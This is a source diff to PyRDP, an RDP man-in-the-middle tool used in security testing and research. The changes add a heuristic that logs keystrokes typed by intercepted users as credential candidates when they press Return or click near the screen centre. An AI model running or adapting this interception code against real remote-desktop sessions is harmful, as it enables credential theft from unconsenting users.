diff --git a/pyrdp/mitm/BasePathMITM.py b/pyrdp/mitm/BasePathMITM.py index 8f0e20d3e..7533248ae 100644 --- a/pyrdp/mitm/BasePathMITM.py +++ b/pyrdp/mitm/BasePathMITM.py @@ -3,9 +3,10 @@ # Copyright (C) 2019-2020 GoSecure Inc. # Licensed under the GPLv3 or later. # +from logging import LoggerAdapter from pyrdp.mitm.state import RDPMITMState -from pyrdp.enum import ScanCode +from pyrdp.enum import PointerFlag, ScanCode from pyrdp.enum.scancode import getKeyName from pyrdp.pdu.pdu import PDU from pyrdp.layer.layer import Layer @@ -16,11 +17,12 @@ class BasePathMITM: Base MITM component for the fast-path and slow-path layers. """ - def __init__(self, state: RDPMITMState, client: Layer, server: Layer, statCounter: StatCounter): + def __init__(self, state: RDPMITMState, client: Layer, server: Layer, statCounter: StatCounter, log: LoggerAdapter): self.state = state self.client = client self.server = server self.statCounter = statCounter + self.log = log def onClientPDUReceived(self, pdu: PDU): raise NotImplementedError("onClientPDUReceived must be overridden") @@ -28,6 +30,25 @@ def onClientPDUReceived(self, pdu: PDU): def onServerPDUReceived(self, pdu: PDU): raise NotImplementedError("onServerPDUReceived must be overridden") + def loginAttempt(self): + if self.state.loggedIn or self.state.inputBuffer == "": + return + + self.state.credentialsCandidate = self.state.inputBuffer + self.state.inputBuffer = "" + + self.log.info("Credentials attempt from heuristic: %(credentials_attempt)s", { + "credentials_attempt": (self.state.credentialsCandidate) + }) + + def onMouse(self, mouseX: int, mouseY: int, pointerFlags: int): + if pointerFlags & PointerFlag.PTRFLAGS_DOWN != 0: + percentageX = mouseX / self.state.windowSize[0] + percentageY = mouseY / self.state.windowSize[1] + + if 0.5 < percentageX < 0.65 and 0.5 < percentageY < 0.65: + self.loginAttempt() + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): """ Handle scan code. @@ -53,10 +74,11 @@ def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): # CTRL + A elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased: self.state.inputBuffer += "" + elif scanCodeTuple == ScanCode.SPACE and not isReleased: + self.state.inputBuffer += " " # Return elif scanCodeTuple == ScanCode.RETURN and not isReleased: - self.state.credentialsCandidate = self.state.inputBuffer - self.state.inputBuffer = "" + self.loginAttempt() # Normal input elif len(keyName) == 1: if not isReleased: diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 673cbe950..3457f6d1d 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -3,11 +3,12 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # +from logging import LoggerAdapter from pyrdp.layer import FastPathLayer from pyrdp.logging.StatCounter import StatCounter, STAT from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent +from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent, FastPathMouseEvent from pyrdp.enum import scancode from pyrdp.mitm.BasePathMITM import BasePathMITM @@ -16,14 +17,14 @@ class FastPathMITM(BasePathMITM): MITM component for the fast-path layer. """ - def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMState, statCounter: StatCounter): + def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMState, statCounter: StatCounter, log: LoggerAdapter): """ :param client: fast-path layer for the client side :param server: fast-path layer for the server side :param state: the MITM state. """ - super().__init__(state, client, server, statCounter) + super().__init__(state, client, server, statCounter, log) self.client.createObserver( onPDUReceived=self.onClientPDUReceived, @@ -42,6 +43,8 @@ def onClientPDUReceived(self, pdu: FastPathPDU): for event in pdu.events: if isinstance(event, FastPathScanCodeEvent): self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & scancode.KBDFLAGS_EXTENDED != 0) + elif isinstance(event, FastPathMouseEvent): + self.onMouse(event.mouseX, event.mouseY, event.pointerFlags) def onServerPDUReceived(self, pdu: FastPathPDU): self.statCounter.increment(STAT.IO_OUTPUT_FASTPATH) diff --git a/pyrdp/mitm/MCSMITM.py b/pyrdp/mitm/MCSMITM.py index 232535817..d6cc44b93 100644 --- a/pyrdp/mitm/MCSMITM.py +++ b/pyrdp/mitm/MCSMITM.py @@ -88,6 +88,8 @@ def onConnectInitial(self, pdu: MCSConnectInitialPDU): rdpClientDataPDU.securityData.encryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS rdpClientDataPDU.securityData.extEncryptionMethods &= ~EncryptionMethod.ENCRYPTION_FIPS + self.state.windowSize = (rdpClientDataPDU.coreData.desktopWidth, rdpClientDataPDU.coreData.desktopHeight) + if self.state.config.downgrade: # This disables the support for the Graphics pipeline extension, which is a completely different way to # transfer graphics from server to client. https://msdn.microsoft.com/en-us/library/dn366933.aspx diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index 9babc199f..78c2123cf 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -116,7 +116,7 @@ def __init__(self, mainLogger: SessionLogger, crawlerLogger: SessionLogger, conf self.security: SecurityMITM = None """Security MITM component""" - self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath, self.state, self.statCounter) + self.slowPath = SlowPathMITM(self.client.slowPath, self.server.slowPath, self.state, self.statCounter, self.getLog("slowpath")) """Slow-path MITM component""" self.fastPath: FastPathMITM = None @@ -297,7 +297,7 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): self.server.fastPath.addObserver(RecordingFastPathObserver(self.recorder, PlayerPDUType.FAST_PATH_OUTPUT)) self.security = SecurityMITM(self.client.security, self.server.security, self.getLog("security"), self.config, self.state, self.recorder) - self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state, self.statCounter) + self.fastPath = FastPathMITM(self.client.fastPath, self.server.fastPath, self.state, self.statCounter, self.getLog("fastpath")) if self.player.tcp.transport or self.config.payload: self.attacker = AttackerMITM(self.client.fastPath, self.server.fastPath, self.player.player, self.log, self.state, self.recorder) diff --git a/pyrdp/mitm/SlowPathMITM.py b/pyrdp/mitm/SlowPathMITM.py index afae7b7d2..0bff4aaf9 100644 --- a/pyrdp/mitm/SlowPathMITM.py +++ b/pyrdp/mitm/SlowPathMITM.py @@ -3,12 +3,13 @@ # Copyright (C) 2019-2020 GoSecure Inc. # Licensed under the GPLv3 or later. # +from logging import LoggerAdapter from pyrdp.enum import CapabilityType, KeyboardFlag, OrderFlag, VirtualChannelCompressionFlag, Order from pyrdp.layer import SlowPathLayer, SlowPathObserver from pyrdp.logging.StatCounter import StatCounter, STAT from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU +from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU, MouseEvent from pyrdp.mitm.BasePathMITM import BasePathMITM @@ -17,12 +18,12 @@ class SlowPathMITM(BasePathMITM): MITM component for the slow-path layer. """ - def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMState, statCounter: StatCounter): + def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMState, statCounter: StatCounter, log: LoggerAdapter): """ :param client: slow-path layer for the client side :param server: slow-path layer for the server side """ - super().__init__(state, client, server, statCounter) + super().__init__(state, client, server, statCounter, log) self.clientObserver = self.client.createObserver( onPDUReceived=self.onClientPDUReceived, @@ -47,6 +48,8 @@ def onClientPDUReceived(self, pdu: SlowPathPDU): if isinstance(event, KeyboardEvent): self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) + elif isinstance(event, MouseEvent): + self.onMouse(event.x, event.y, event.flags) def onServerPDUReceived(self, pdu: SlowPathPDU): self.statCounter.increment(STAT.IO_OUTPUT_SLOWPATH) diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 35998994a..5818ce3bb 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -76,6 +76,8 @@ def __init__(self, config: MITMConfig, sessionID: str): self.sessionID = sessionID """The current session ID""" + self.windowSize = None + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])